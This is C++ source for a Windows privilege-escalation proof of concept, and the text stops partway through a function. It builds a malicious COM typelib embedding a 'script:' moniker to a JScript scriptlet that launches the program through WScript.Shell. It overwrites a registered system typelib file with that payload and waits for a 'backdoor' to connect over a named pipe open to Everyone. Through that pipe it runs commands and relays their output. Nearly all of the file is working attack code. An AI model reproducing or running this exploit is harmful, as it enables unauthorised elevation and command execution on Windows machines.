﻿
#define RPC_USE_NATIVE_WCHAR

#include "stdafx.h"
#include <map>
#include <ctime>


struct THREAD_PARM
{
	HANDLE Reader;
	HANDLE Writer;
};

#pragma comment(lib, "shlwapi.lib")

#define PIPENAME L"\\\\.\\pipe\\MyComEop_Poc_backdoorpoc"
#define MIDL_DEFINE_GUID(type,name,l,w1,w2,b1,b2,b3,b4,b5,b6,b7,b8) \
        const type name = {l,w1,w2,{b1,b2,b3,b4,b5,b6,b7,b8}}


static int FileCount = 0;
static const BSTR CCH = L"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
static CLSID Global_Clsid;
static  wchar_t g_cmdline[LEN];
static  wchar_t g_picline[LEN];
static  wchar_t g_dllPathBak[LEN];
static  wchar_t g_dllPath[LEN];


static LPWSTR InterfaceAddress = L"\\pipe\\spoolss";

static unsigned char hexData[64] = {
	0x4D, 0x45, 0x4F, 0x57, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
	0x13, 0xB2, 0x01, 0x5E, 0x8A, 0xB9, 0x70, 0xB9, 0x7C, 0x32, 0xA4, 0xE5, 0x53, 0xF6, 0x3D, 0xC9,
	0x79, 0xB5, 0x87, 0x56, 0x45, 0xDC, 0x12, 0x49, 0x20, 0xE5, 0x91, 0x55, 0x26, 0x06, 0x28, 0x0E
};

static unsigned char hexData2[24] = {
	0x5B, 0x00, 0x35, 0x00, 0x36, 0x00, 0x38, 0x00, 0x38, 0x00, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x0A, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00
};

_COM_SMARTPTR_TYPEDEF(IBackgroundCopyJob, __uuidof(IBackgroundCopyJob));
_COM_SMARTPTR_TYPEDEF(IBackgroundCopyManager, __uuidof(IBackgroundCopyManager));
_COM_SMARTPTR_TYPEDEF(IBackgroundCopyJob2, __uuidof(IBackgroundCopyJob2));
_COM_SMARTPTR_TYPEDEF(IEnumBackgroundCopyJobs, __uuidof(IEnumBackgroundCopyJobs));


extern "C"  handle_t hBinding = NULL;

static  LPWSTR StringBindingOptions = L"Security=Impersonation Dynamic False";


handle_t __RPC_USER STRING_HANDLE_bind(STRING_HANDLE  lpStr)

/*++

Routine Description:
This routine calls a common bind routine that is shared by all services.
This routine is called from the server service client stubs when
it is necessary to bind to a server.

Arguments:

ServerName - A pointer to a string containing the name of the server
to bind with.

Return Value:

The binding handle is returned to the stub routine.  If the
binding is unsuccessful, a NULL will be returned.

--*/
{
	RPC_STATUS RpcStatus;
	LPWSTR StringBinding;
	handle_t BindingHandle;
	WCHAR   ServerName[MAX_PATH + 1];
	DWORD   i;

	if (lpStr && lpStr[0] == L'\\' && lpStr[1] == L'\\') {

		// We have a servername

		ServerName[0] = ServerName[1] = '\\';

		i = 2;

		while (lpStr[i] && lpStr[i] != L'\\' && i < sizeof(ServerName)) {
			ServerName[i] = lpStr[i];
			i++;
		}

		ServerName[i] = 0;

	}
	else

		return FALSE;

	RpcStatus = RpcStringBindingComposeW(0, L"ncacn_np", ServerName,
		InterfaceAddress,
		L"Security=Impersonation Static True",
		&StringBinding);

	if (RpcStatus != RPC_S_OK) {
		return(0);
	}

	RpcStatus = RpcBindingFromStringBindingW(StringBinding, &BindingHandle);

	RpcStringFreeW(&StringBinding);

	if (RpcStatus != RPC_S_OK) {
		return(0);
	}

	return(BindingHandle);
}


void     __RPC_USER STRING_HANDLE_unbind(STRING_HANDLE lpStr, handle_t BindingHandle)


/*++

Routine Description:

This routine calls a common unbind routine that is shared by
all services.
This routine is called from the server service client stubs when
it is necessary to unbind to a server.


Arguments:

ServerName - This is the name of the server from which to unbind.

BindingHandle - This is the binding handle that is to be closed.

Return Value:

none.

--*/
{
	RPC_STATUS       RpcStatus;

	RpcStatus = RpcBindingFree(&BindingHandle);
	

	return;
}


extern "C" void __RPC_FAR * __RPC_USER midl_user_allocate(size_t len)
{
	return(HeapAlloc(GetProcessHeap(), 0, len));
}

extern "C" void __RPC_USER midl_user_free(void __RPC_FAR * ptr)
{
	HeapFree(GetProcessHeap(), 0, ptr);
}




extern "C"  void  Opnum0NotUsedOnWire(handle_t rpc)
{

}
extern "C" void Opnum1NotUsedOnWire(handle_t rpc){

}
extern "C" void Opnum2NotUsedOnWire(handle_t rpc){

}
extern "C" HRESULT RemoteGetClassObject(
	/*[in]*/ handle_t rpc,
	/*[in]*/ ORPCTHIS *orpcthis,
	/*[out]*/ ORPCTHAT *orpcthat,
	/*[in, unique] */ MInterfacePointer *pActProperties,
	/*[out]*/ MInterfacePointer **ppActProperties
	)
{
	printf("[rpcbinding]RemoteGetClassObject\n");
	return S_OK;
}

extern "C" HRESULT RemoteCreateInstance(
	/*[in]*/ handle_t rpc,
	/*[in]*/ ORPCTHIS *orpcthis,
	/*[out]*/ ORPCTHAT *orpcthat,
	/*[in, unique]*/  MInterfacePointer *pUnkOuter,
	/*[in, unique]*/  MInterfacePointer *pActProperties,
	/*[out]*/ MInterfacePointer **ppActProperties
	)
{
	printf("[rpcbinding]RemoteCreateInstance\n");



	return S_OK;
}


extern "C" error_status_t RemoteActivation(
	/* [in] */ handle_t                               hRpc,
	/* [in] */ ORPCTHIS                              *ORPCthis,
	/*[out]*/ ORPCTHAT                             *ORPCthat,
	/* [in] */ GUID                                  *Clsid,
	/*[in, string, unique]*/ wchar_t               *pwszObjectName,
	/*[in, unique] */ MInterfacePointer             *pObjectStorage,
	/* [in] */ DWORD                                  ClientImpLevel,
	/* [in] */ DWORD                                  Mode,
	/*[in, range(1, MAX_REQUESTED_INTERFACES)]*/ DWORD Interfaces,
	/*[in, unique, size_is(Interfaces)]*/ IID        *pIIDs,
	/*[in, range(0, MAX_REQUESTED_PROTSEQS)]*/
	unsigned short                    cRequestedProtseqs,
	/*[in, size_is(cRequestedProtseqs)]*/
	unsigned short                  aRequestedProtseqs[],
	/*[out]*/ OXID                             *pOxid,
	/*[out]*/ DUALSTRINGARRAY                  **ppdsaOxidBindings,
	/*[out]*/ IPID                             *pipidRemUnknown,
	/*[out]*/ DWORD                                *pAuthnHint,
	/*[out]*/ COMVERSION                           *pServerVersion,
	/*[out]*/ HRESULT                              *phr,
	/*[out, size_is(Interfaces)]*/
	MInterfacePointer **ppInterfaceData,
	/*[out, size_is(Interfaces)]*/
	HRESULT            *pResults
	)
{
	printf("[rpcbinding]RemoteActivation\n");
	return S_OK;
}




extern "C" /* [idempotent] */ error_status_t ResolveOxid(
	/* [in] */ handle_t hRpc,
	/* [in] */ OXID *pOxid,
	/* [in] */ unsigned short cRequestedProtseqs,
	/* [size_is][ref][in] */ unsigned short arRequestedProtseqs[],
	/* [ref][out] */ DUALSTRINGARRAY **ppdsaOxidBindings,
	/* [ref][out] */ IPID *pipidRemUnknown,
	/* [ref][out] */ DWORD *pAuthnHint)
{
	return E_FAIL;
}

extern "C" /* [idempotent] */ error_status_t SimplePing(
	/* [in] */ handle_t hRpc,
	/* [in] */ SETID *pSetId)
{
	return S_OK;
}

extern "C" /* [idempotent] */ error_status_t ComplexPing(
	/* [in] */ handle_t hRpc,
	/* [out][in] */ SETID *pSetId,
	/* [in] */ unsigned short SequenceNum,
	/* [in] */ unsigned short cAddToSet,
	/* [in] */ unsigned short cDelFromSet,
	/* [size_is][unique][in] */ OID AddToSet[],
	/* [size_is][unique][in] */ OID DelFromSet[],
	/* [out] */ unsigned short *pPingBackoffFactor)
{
	printf("[info] ComplexPing\n");
	return S_OK;
}

extern "C" /* [idempotent] */ error_status_t ServerAlive(
	/* [in] */ handle_t hRpc)
{
	printf("[info] ServerAlive\n");
	return S_OK;
}

extern "C" /* [idempotent] */ error_status_t ResolveOxid2(
	/* [in] */ handle_t hRpc,
	/* [in] */ OXID *pOxid,
	/* [in] */ unsigned short cRequestedProtseqs,
	/* [size_is][ref][in] */ unsigned short arRequestedProtseqs[],
	/* [ref][out] */ DUALSTRINGARRAY **ppdsaOxidBindings,
	/* [ref][out] */ IPID *pipidRemUnknown,
	/* [ref][out] */ DWORD *pAuthnHint,
	/* [ref][out] */ COMVERSION *pComVersion)
{

	printf("[info] ResolveOxid2\n");

	return S_OK;
}

extern "C" /* [idempotent] */ error_status_t ServerAlive2(
	/* [in] */ handle_t hRpc,
	/* [ref][out] */ COMVERSION *pComVersion,
	/* [ref][out] */ DUALSTRINGARRAY **ppdsaOrBindings,
	/* [ref][out] */ DWORD *pReserved)
{
	printf("[info] ServerAlive2\n");
	//pComVersion = (COMVERSION*)midl_user_allocate(sizeof(COMVERSION));
	pComVersion->MajorVersion = 5;
	pComVersion->MinorVersion = 7;
	DWORD dwNameLen;
	//wchar_t NetworkAddr[100] = L"127.0.0.1";
	wchar_t NetworkAddr[100];
	GetComputerNameW(NetworkAddr, &dwNameLen);
	USHORT wNumEntries = (USHORT)(9 + wcslen(NetworkAddr)) + 4;
	USHORT wSecurityOffset = (USHORT)(9 + wcslen(NetworkAddr));
	USHORT wTowerId = 7;
	char* pStm = (char*)midl_user_allocate(6 + wcslen(NetworkAddr)*sizeof(wchar_t) + sizeof(hexData2));
	memcpy(pStm, &wNumEntries, 2);
	memcpy(pStm + 2, &wSecurityOffset, 2);
	memcpy(pStm + 4, &wTowerId, 2);
	memcpy(pStm + 6, NetworkAddr, wcslen(NetworkAddr)*sizeof(wchar_t));
	memcpy(pStm + 6 + wcslen(NetworkAddr)*sizeof(wchar_t), hexData2, sizeof(hexData2));

	*ppdsaOrBindings = (DUALSTRINGARRAY *)pStm;
	pReserved = 0;
	//error_status_t hr = ServerAlive2Fake(pComVersion, ppdsaOrBindings, pReserved);

	return S_OK;
}

HRESULT WriteData(IStream* stm, const void* data, int len)
{
	return stm->Write(data, len, nullptr);
}
HRESULT WriteDataAll(IStream* pStm)
{
	WriteData(pStm, hexData, sizeof(hexData));
	//wchar_t NetworkAddr[100] = L"127.0.0.1";
	DWORD dwNameLen;
	wchar_t NetworkAddr[100];
	GetComputerNameW(NetworkAddr, &dwNameLen);
	USHORT wNumEntries = (USHORT)(9 + wcslen(NetworkAddr)) + 4;
	USHORT wSecurityOffset = (USHORT)(9 + wcslen(NetworkAddr));
	USHORT wTowerId = 7;
	WriteData(pStm, &wNumEntries, 2);
	WriteData(pStm, &wSecurityOffset, 2);
	WriteData(pStm, &wTowerId, 2);
	WriteData(pStm, NetworkAddr, wcslen(NetworkAddr)*sizeof(wchar_t));
	WriteData(pStm, hexData2, sizeof(hexData2));

	return S_OK;
}
void do_error(RPC_STATUS status)
{
	printf("Error. ");
	ExitProcess(1);
}



bstr_t GetExePath()
{
	WCHAR curr_path[MAX_PATH] = { 0 };
	GetModuleFileName(nullptr, curr_path, MAX_PATH);
	return bstr_t(curr_path);
}

DWORD WINAPI ThreadProc(LPVOID lpParam){
	BYTE b[1030];
	DWORD d = 0;
	THREAD_PARM *tp = (THREAD_PARM*)lpParam;
	while (ReadFile(tp->Reader, b, 1024, &d, 0))
	{
		WriteFile(tp->Writer, b, d, &d, 0);
	}
	return 0;
}


static bstr_t IIDToBSTR(REFIID riid)
{
	LPOLESTR str;
	bstr_t ret = "Unknown";
	if (SUCCEEDED(StringFromIID(riid, &str)))
	{
		ret = str;
		CoTaskMemFree(str);
	}
	return ret;


}





class ScopedHandle
{
	HANDLE _h;
public:
	ScopedHandle() : _h(nullptr)
	{
	}

	ScopedHandle(ScopedHandle&) = delete;

	ScopedHandle(ScopedHandle&& h) {
		_h = h._h;
		h._h = nullptr;
	}

	~ScopedHandle()
	{
		if (!invalid())
		{
			CloseHandle(_h);
			_h = nullptr;
		}
	}

	bool invalid() {
		return (_h == nullptr) || (_h == INVALID_HANDLE_VALUE);
	}

	void set(HANDLE h)
	{
		_h = h;
	}

	HANDLE get()
	{
		return _h;
	}

	HANDLE* ptr()
	{
		return &_h;
	}


};





bstr_t GetSystemDrive()
{
	WCHAR windows_dir[MAX_PATH] = { 0 };

	GetWindowsDirectory(windows_dir, MAX_PATH);

	windows_dir[2] = 0;

	return windows_dir;
}

bstr_t GetDeviceFromPath(LPCWSTR lpPath)
{
	WCHAR drive[3] = { 0 };
	drive[0] = lpPath[0];
	drive[1] = lpPath[1];
	drive[2] = 0;

	WCHAR device_name[MAX_PATH] = { 0 };

	if (QueryDosDevice(drive, device_name, MAX_PATH))
	{
		return device_name;
	}
	else
	{
		fflush(stdout);
		printf("[+][x] Error getting device for %ls\n", lpPath);
		exit(1);
	}
}

bstr_t GetSystemDevice()
{
	return GetDeviceFromPath(GetSystemDrive());
}

bstr_t GetExe()
{
	WCHAR curr_path[MAX_PATH] = { 0 };
	GetModuleFileName(nullptr, curr_path, MAX_PATH);
	return curr_path;
}

bstr_t GetExeDir()
{
	WCHAR curr_path[MAX_PATH] = { 0 };
	GetModuleFileName(nullptr, curr_path, MAX_PATH);
	PathRemoveFileSpec(curr_path);

	return curr_path;
}

bstr_t GetCurrentPath()
{
	bstr_t curr_path = GetExeDir();

	bstr_t ret = GetDeviceFromPath(curr_path);

	ret += &curr_path.GetBSTR()[2];

	return ret;
}


static HRESULT Check(HRESULT hr)
{
	if (FAILED(hr))
	{
		throw _com_error(hr);
	}
	return hr;
}


HANDLE checkNamedPipe()
{
	HANDLE hPipe = CreateFileW(PIPENAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	PSID pEveryoneSID = NULL;
	PACL pACL = NULL;
	EXPLICIT_ACCESS ea;
	SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
	AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &pEveryoneSID);
	ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
	ea.grfAccessPermissions = FILE_ALL_ACCESS;
	ea.grfAccessMode = GRANT_ACCESS;
	ea.grfInheritance = NO_INHERITANCE;
	ea.Trustee.TrusteeForm = TRUSTEE_IS_SID;
	ea.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
	ea.Trustee.ptstrName = (LPTSTR)pEveryoneSID;
	SetEntriesInAcl(1, &ea, NULL, &pACL);
	PSECURITY_DESCRIPTOR pSd = (PSECURITY_DESCRIPTOR)malloc(SECURITY_DESCRIPTOR_MIN_LENGTH);
	InitializeSecurityDescriptor(pSd, SECURITY_DESCRIPTOR_REVISION);
	SetSecurityDescriptorDacl(pSd, TRUE, pACL, FALSE);
	SECURITY_ATTRIBUTES sa = { 0 };
	sa.nLength = sizeof(SECURITY_ATTRIBUTES);
	sa.lpSecurityDescriptor = pSd;
	sa.bInheritHandle = true;
	if (hPipe == INVALID_HANDLE_VALUE)
	{
		hPipe = CreateNamedPipeW(PIPENAME, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, &sa);
		if (hPipe == INVALID_HANDLE_VALUE)
		{
			printf("[+][FAILED] CreateNamedPipeW error, code: %d\n", GetLastError());
			exit(0);
		}
		return hPipe;
	}

	else
	{
		printf("[+][FAILED] CreateNamedPipe IS Creaded  Can Not Init Poc Will Exit, code: %d\n", GetLastError());
		CoUninitialize();//Rease COM
		exit(0);
		return nullptr;
	}

}
void NamedPipeCallback(HANDLE hPipe, _TCHAR* argv, BOOL Restore)
{
	printf("[+][Info] Result Will Be Evaluated After 15 Seconds,Please Wait for Back Door Connect ....\n");
	fflush(stdout);
	HANDLE hEvent = CreateEvent(NULL, TRUE, TRUE, NULL);
	OVERLAPPED o;
	o.hEvent = hEvent;
	BOOL ret1 = ConnectNamedPipe(hPipe, &o);
	WaitForSingleObject(hEvent, 15000);
	BOOL ret2 = ConnectNamedPipe(hPipe, &o);
	ResetEvent(hEvent);
	if (ret1 || ret2 || GetLastError() == ERROR_PIPE_CONNECTED)
	{
		printf("[+]============[Success] backdoor connected, My Poc Worked [Success]============ \n");
		DWORD len = (wcslen(argv) + 1)* sizeof(wchar_t);
		DWORD d = 0;
		WriteFile(hPipe, &len, 4, &d, NULL);
		printf("[+][Info] backdoor WriteFile first :=> %d  Value: %d  \n", d, len);
		WriteFile(hPipe, argv, len, &d, NULL);
		printf("[+][Info] backdoor WriteFile command Next Count :=> %d \n", d);
		FlushFileBuffers(hPipe);
		printf("[+][Info] send command [%ls].\n", argv);
		BYTE b[1030];
		DWORD pid = 0;
		ReadFile(hPipe, &pid, 4, &d, 0);
		printf("[+][Info] backdoor ReadFile first Byte Count :=> %d Value: %d \n", d, pid);
		if (pid == 0)
		{
			ReadFile(hPipe, &pid, 4, &d, 0);
			printf("[+][FAILED] backdoor ReadFile Next Byte Count :=> %d Value: %d \n", d, pid);
			printf("[+][FAILED] can not create process: %d.\n", pid);
		}
		else
		{
			printf("[+][Success] New process with pid: %d created\n", pid);
			printf("[+][Success]================<=:Evaluating Results Start:=>================[Success]\n");
			fflush(stdout);
			while (ReadFile(hPipe, b, 1024, &d, 0))
			{
				WriteFile(GetStdHandle(STD_OUTPUT_HANDLE), b, d, &d, 0);
			}
			fflush(stdout);
			printf("[+][Success]================<=:Evaluating Results End :=>================[Success]\n");
			printf("[+][Success]================[All Done My Poc Worked]================[Success]\n");

		}
	}
	else
	{


		printf("[+][FAILED] backdoor not connected after 10 seconds :%d\n", GetLastError());


	}
	//这是给计划任务用的
	if (Restore)
	{
		//做人要有良心,替换之后再还原
		printf("[+][Info] Restoring BackUp dll Done \n");
		CopyFileW(g_dllPathBak, g_dllPath, false);
	}
	DisconnectNamedPipe(hPipe);
	CloseHandle(hEvent);
}


// {D487789C-32A3-4E22-B46A-C4C4C1C2D3E0}
static const GUID IID_BaseInterface =
{ 0xd487789c, 0x32a3, 0x4e22, { 0xb4, 0x6a, 0xc4, 0xc4, 0xc1, 0xc2, 0xd3, 0xe0 } };

// {6C6C9F33-AE88-4EC2-BE2D-449A0FFF8C02}
static const GUID TypeLib_BaseInterface =
{ 0x6c6c9f33, 0xae88, 0x4ec2, { 0xbe, 0x2d, 0x44, 0x9a, 0xf, 0xff, 0x8c, 0x2 } };

const wchar_t x[] = L"ABC";

const wchar_t scriptlet_start[] = L"<?xml version='1.0'?>\r\n<package>\r\n<component id='giffile'>\r\n"
L"<registration description='Dummy' progid='giffile' version='1.00' remotable='True'>\r\n"\
L"</registration>\r\n"\
L"<script language='JScript'>\r\n"\
L"<![CDATA[\r\n"\
L"  new ActiveXObject('Wscript.Shell').exec('";

const wchar_t scriptlet_end[] = L"');\r\n"\
L"]]>\r\n"\
L"</script>\r\n"\
L"</component>\r\n"\
L"</package>\r\n";


class ChaHua
{


	BSTR target_tlb_dest = (BSTR)malloc(LEN);
	PExploitData data = (PExploitData)malloc(sizeof(ExploitData));

	~ChaHua(){};
public:

	ChaHua(IID IID_IInterface, BSTR IInterface_name = nullptr, IID IID_TypeLib = GUID_NULL, BSTR dllPathFrom = nullptr)
	{

		data->IID_Interface = IID_IInterface;
		if (IInterface_name)
		{
			wcscpy(data->Interface_Name, IInterface_name);
		}

		data->TypeLib_Interface = IID_TypeLib;
		if (dllPathFrom)
		{
			wcscpy(data->dllPath, dllPathFrom);
		}
		else
		{
			wcscpy(data->dllPath, L"");
		}

		wcscpy(data->extPath, L"");

	}

	ChaHua(BSTR dllPathFrom = nullptr, BSTR extPathFrom = nullptr)
	{

		if (dllPathFrom)
		{
			wcscpy(data->dllPath, dllPathFrom);
		}
		else
		{
			wcscpy(data->dllPath, L"");
		}

		if (extPathFrom)
		{
			wcscpy(data->extPath, extPathFrom);
		}
		else
		{
			wcscpy(data->extPath, L"");
		}
	}


	HRESULT Init()
	{
		return  S_OK;
	}
	GUID* GetFakeIID_IInterface()
	{
		return &data->IID_Interface;
	}

	void MakeTempTypelib(bstr_t filename, bstr_t if_name, REFGUID typelib_guid, REFGUID iid, ITypeLib* ref_typelib, REFGUID ref_iid)
	{
		DeleteFile(filename);
		ICreateTypeLib2Ptr tlb;
		Check(CreateTypeLib2(SYS_WIN32, filename, &tlb));
		//Check(CreateTypeLib2(SYS_WIN64, filename, &tlb));
		tlb->SetGuid(typelib_guid);

		ITypeInfoPtr ref_type_info;
		Check(ref_typelib->GetTypeInfoOfGuid(ref_iid, &ref_type_info));

		ICreateTypeInfoPtr create_info;
		Check(tlb->CreateTypeInfo(if_name, TKIND_INTERFACE, &create_info));
		Check(create_info->SetTypeFlags(TYPEFLAG_FDUAL | TYPEFLAG_FOLEAUTOMATION));
		HREFTYPE ref_type;
		Check(create_info->AddRefTypeInfo(ref_type_info, &ref_type));
		Check(create_info->AddImplType(0, ref_type));
		Check(create_info->SetGuid(iid));
		Check(tlb->SaveAllChanges());
	}

	std::vector<BYTE> ReadFileByPath(bstr_t path)
	{
		ScopedHandle hFile;
		hFile.set(CreateFile(path, GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr));
		if (hFile.invalid())
		{
			throw _com_error(E_FAIL);
		}
		DWORD size = GetFileSize(hFile.get(), nullptr);
		std::vector<BYTE> ret(size);
		if (size > 0)
		{
			DWORD bytes_read;
			if (!ReadFile(hFile.get(), ret.data(), size, &bytes_read, nullptr) || bytes_read != size)
			{
				throw _com_error(E_FAIL);
			}
		}

		return ret;
	}

	void WriteFileByString(bstr_t path, const char* data)
	{
		const BYTE* bytes = reinterpret_cast<const BYTE*>(data);
		std::vector<BYTE> data_buf(bytes, bytes + strlen(data));
		WriteFileByData(path, data_buf);
	}
	void WriteFileByData(bstr_t path, const std::vector<BYTE> data)
	{
		ScopedHandle hFile;
		hFile.set(CreateFile(path, GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS, 0, nullptr));
		if (hFile.invalid())
		{
			throw _com_error(E_FAIL);
		}

		if (data.size() > 0)
		{
			DWORD bytes_written;
			if (!WriteFile(hFile.get(), data.data(), data.size(), &bytes_written, nullptr) || bytes_written != data.size())
			{
				throw _com_error(E_FAIL);
			}
		}
	}

	BOOL  ExploitCopyFile(){

		bstr_t dllPathBak = GetExeDir() + L"\\" + PathFindFileName(data->dllPath) + ".bak";

		wcscpy(g_dllPathBak, dllPathBak.GetBSTR());
		wcscpy(g_dllPath, data->dllPath);

		CopyFileW(data->dllPath, g_dllPathBak, false);

		if (CopyFileW(target_tlb_dest, data->dllPath, false))
		{


			return TRUE;
		}
		else
		{
			printf("[+]Run Exploit Failed Can Not Move File May Be Patched\n");
			return  FALSE;
		}
	}
	void BuildTypeLibsWrapper(BSTR script_path)
	{
		//当前目录下的临时typelib
		bstr_t target_tlb = GetExeDir() + L"\\" + PathFindFileName(data->dllPath);
		printf("[+]Using target typelib:%ls , Building TypeLibs \n", target_tlb.GetBSTR());
		bstr_t script;
		if (script_path)
		{
			script = script_path;

		}
		else
		{
			script = L"script:" + CreateScriptletFile();
		}
		BuildTypeLibs(script, data->Interface_Name, target_tlb);
		wcscpy(target_tlb_dest, target_tlb.GetBSTR());
	}
	BSTR GetDllPath()
	{
		return _wcsdup(data->dllPath);
	}
	void BuildTypeLibs(LPCSTR script_path, bstr_t if_name, bstr_t target_tlb)
	{

		try{

			ITypeLibPtr stdole2;
			Check(LoadTypeLib(L"stdole2.tlb", &stdole2));

			fflush(stdout);

			unsigned int len = strlen(script_path);

			bstr_t buf = GetExeDir() + L"\\";
			for (unsigned int i = 0; i < len; ++i)
			{
				buf += L"A";
			}

			MakeTempTypelib(buf, "IBadger", TypeLib_BaseInterface, IID_BaseInterface, stdole2, IID_IDispatch);
			ITypeLib* abc;
			Check(LoadTypeLib(buf, &abc));


			bstr_t built_tlb = GetExeDir() + L"\\output.tlb";
			MakeTempTypelib(built_tlb, if_name, data->TypeLib_Interface, data->IID_Interface, abc, IID_BaseInterface);

			std::vector<BYTE> tlb_data = ReadFileByPath(built_tlb);
			for (size_t i = 0; i < tlb_data.size() - len; ++i)
			{
				bool found = true;
				for (unsigned int j = 0; j < len; j++)
				{
					if (tlb_data[i + j] != 'A')
					{
						found = false;
					}
				}

				if (found)
				{
					fflush(stdout);
					printf("[+]Typelib:%s,%ls,%ls \n", script_path, if_name.GetBSTR(), IIDToBSTR(data->TypeLib_Interface).GetBSTR());


					memcpy(&tlb_data[i], script_path, len);
					break;
				}
			}


			WriteFileByData(target_tlb, tlb_data);
			abc->Release();
			DeleteFile(buf);
			DeleteFile(built_tlb);
		}
		catch (const _com_error& err)
		{
			printf("[+]Error BuildT ypeLibs: %ls\n", err.ErrorMessage());
		}
	}

	bstr_t CreateScriptletFile()
	{
		bstr_t script_file = GetExeDir() + L"\\run.sct";
		bstr_t script_data = scriptlet_start;
		bstr_t exe_file = GetExe();
		wchar_t* p = exe_file;
		while (*p)
		{
			if (*p == '\\')
			{
				*p = '/';
			}
			p++;
		}

		DWORD session_id;
		ProcessIdToSessionId(GetCurrentProcessId(), &session_id);
		WCHAR session_str[16];
		StringCchPrintf(session_str, _countof(session_str), L"%d", session_id);

		script_data += L"\"" + exe_file + L"\" " + session_str + scriptlet_end;

		WriteFileByString(script_file, script_data);

		return script_file;
	}



	HRESULT ReQueryPathOfRegTypeLibWrapper(BOOL ForDeep)
	{
		BSTR pdllPathFake = (BSTR)malloc(LEN);
		HRESULT hr = ReQueryPathOfRegTypeLib(data->TypeLib_Interface, 3, 0, 0, &pdllPathFake, ForDeep);

		if (SUCCEEDED(hr))
		{

			wcscpy(data->dllPath, pdllPathFake);
		}

		return hr;
	}
	HRESULT ReQueryPathOfRegTypeLib(REFGUID guid, USHORT wMaj, USHORT wMin,
		LCID lcid, _Out_ BSTR* dllPathFrom, BOOL ForDeep)
	{
		HRESULT hr = S_OK;


		hr = QueryPathOfRegTypeLib(guid, 1, 0, 0, dllPathFrom);
		if (FAILED(hr))
		{
			if (!ForDeep)
			{
				printf("[+]QueryPathOfRegTypeLib Failed Result: %08X\n", hr);
			}

			hr = QueryPathOfRegTypeLib(guid, 2, 0, 0, dllPathFrom);
			if (FAILED(hr))
			{
				if (!ForDeep)
				{
					printf("[+]QueryPathOfRegTypeLib Failed Result: %08X\n", hr);
				}
				hr = QueryPathOfRegTypeLib(guid, 3, 0, 0, dllPathFrom);
				if (FAILED(hr))
				{
					hr = QueryPathOfRegTypeLib(guid, wMaj, wMin, 0, dllPathFrom);
					if (FAILED(hr))
					{
						if (!ForDeep)
						{
							printf("[+]QueryPathOfRegTypeLib Failed Result: %08X\n", hr);
						}
						return hr;
					}
				}

			}
		}

		return hr;
	}

	BOOL CheckDllPathCompare(BSTR dllPathOrg)
	{
		//解决路径不合法问题
		//wcscpy(dllPath, argv[3]);
		if (!_wcsicmp(data->dllPath, dllPathOrg) == 0)
		{
			printf("[+][waring] registered dllPath Not Match 1%ls:,2:%ls, \n", dllPathOrg, data->dllPath);
			return FALSE;
		}
		return TRUE;
	}

	BOOL GetRegTypeInfoOfIIDWrapper(BOOL ForDeep)
	{

		return  GetRegTypeInfoOfIID(data->IID_Interface, data->Interface_Name, data->dllPath, &data->TypeLib_Interface, ForDeep);
	}
	BOOL GetRegTypeInfoOfIID(IID IID_ToFind, BSTR if_name, BSTR dllPathFake, IID* TypeLib_Ret, BOOL ForDeep)
	{
		BSTR pdllPathFake = (BSTR)malloc(LEN);
		HRESULT hr = S_OK;
		HKEY  hkResult;
		UINT32 fisrtVer = 3;
		UINT32 nextVer = 0;
		UINT32 versionLookUp = 0;
		UINT32 versionLookUpNext = 0;
		DWORD dwIndex = 0;
		HKEY subKey = NULL;
		LPWSTR  TypeLibValue = (LPWSTR)malloc(LEN);
		LPWSTR  InterfaceValue = (LPWSTR)malloc(LEN);
		LPWSTR  InterfaceVersion = (LPWSTR)malloc(LEN);
		LPWSTR  EndPtr = (LPWSTR)malloc(LEN);
		LPWSTR  SubKeyName = (LPWSTR)malloc(LEN);
		LPWSTR  SubKey = (LPWSTR)malloc(LEN);
		BOOL FoundVersion = FALSE;
		BOOL UseDefaultTypelib = TRUE;
		DWORD pcbData = LEN;
		DWORD pcbData2 = LEN;
		DWORD pcbData3 = LEN;
		DWORD pcbData4 = LEN;
		DWORD pcbData5 = LEN;
		ITypeLib * ptlib = nullptr;
		ITypeInfo *pTinfo = nullptr;
		LSTATUS  errCode = ERROR_SUCCESS;
		bstr_t InterfacePath = SysAllocString(L"Interface\\");
		bstr_t InterfacePath64 = SysAllocString(L"Wow6432Node\\Interface\\");
		bstr_t InterfaceTypeLibRoot = SysAllocString(L"TypeLib\\");
		bstr_t InterfaceTypeLibWin;
		bstr_t IID_IAddinDesignerStr = IIDToBSTR(IID_ToFind);

		bstr_t InterfacePathGuid = InterfacePath + IID_IAddinDesignerStr;
		if (!ForDeep)
		{
			//printf("[+]RegOpenKey InterfacePathGuid %ls\n", InterfacePathGuid.GetBSTR());

		}

		errCode = RegGetValueW(HKEY_CLASSES_ROOT, InterfacePathGuid, nullptr, RRF_RT_REG_SZ, NULL, InterfaceValue, &pcbData);
		if (errCode == ERROR_SUCCESS)
		{


			wcscpy(if_name, InterfaceValue);
			if (!ForDeep)
			{
				printf("[+]Found InterfaceName:%ls\n", InterfaceValue);
			}


			bstr_t InterfacePathEnd = SysAllocString(L"\\TypeLib");

			bstr_t InterfacePathAll = InterfacePathGuid + InterfacePathEnd;
			if (!ForDeep)
			{
				//printf("[+]RegOpenKey InterfacePathAll %ls\n", InterfacePathAll.GetBSTR());
			}


			errCode = RegGetValueW(HKEY_CLASSES_ROOT, InterfacePathAll, nullptr, RRF_RT_REG_SZ, NULL, TypeLibValue, &pcbData2);
			if (errCode != ERROR_SUCCESS)
			{
